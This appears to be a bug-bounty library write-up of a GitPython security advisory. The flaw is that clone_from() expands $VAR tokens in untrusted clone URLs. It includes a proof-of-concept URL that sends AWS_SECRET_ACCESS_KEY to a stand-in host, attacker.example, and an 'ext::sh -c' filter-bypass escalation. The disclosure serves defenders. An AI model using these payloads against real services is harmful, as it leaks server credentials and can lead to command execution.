# GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

GitPython's clone_from expands $VAR tokens in attacker-supplied URLs, leaking server environment secrets like AWS keys to an attacker-named host.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by (vendor credit): KrisKennawayDD
- Found by: KrisKennawayDD
- Disclosed: 2026-07-21
- CVE: CVE-2026-67322
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rwj8-pgh3-r573
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rwj8-pgh3-r573
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:chained technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Python library Repo.clone_from() / Git.polish_url()
**Root cause:** Git.polish_url() unconditionally calls os.path.expandvars() on the clone URL on non-Cygwin platforms, so $NAME/${NAME} tokens in an untrusted remote URL are substituted with the hosting process's environment values before being passed to `git clone`.
**Steps:**
1. Install gitpython==3.1.50 and set a sensitive env var, e.g. `AWS_SECRET_ACCESS_KEY`.
2. Call `Git.polish_url("https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git")` and observe the secret substituted into the output.
3. Call `Repo.clone_from(attacker_url, dest)`; the raw URL passes `check_unsafe_protocols()` but the polished URL is what reaches `git clone -- <expanded-url> <dest>`.
4. git issues DNS/HTTP(S) to attacker.example with the secret in the request path; clone fails but the secret has already left the server.
**How found:** Code reading of polish_url() as a local-path normalization helper (Cygwin conversion, ~ expansion, backslash fixing) applied indiscriminately to remote URLs; noted the maintainers already deprecate env expansion for the local repo path with expand_vars=False but not for the network-bound clone URL, and that the unsafe-protocol check runs on the raw URL.
**Exploitation:** Attacker submits a clone URL containing `$NAME` tokens to any 'import repository from URL' feature (CI, mirror, dependency scanner). Server-side expansion embeds the env var value in the URL path or host label, and git's outbound request to the attacker-controlled host exfiltrates it, one variable per request.
**Escalation:** Secondary: since check_unsafe_protocols runs pre-expansion, an attacker who also controls an env var can set `X=ext::sh -c '...'` and submit `url="$X"` to bypass the ext:: filter and reach a remote-helper transport git executes.
**Insight:** When a library normalizes local paths and remote URLs through the same helper, check whether local-only transforms (expandvars, expanduser, backslash fixing) leak into the network path; also check whether security filters run before or after that transform.

## Proof of concept (copied exactly from the original report)

**Attacker URL with env var token**

```
https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component
```

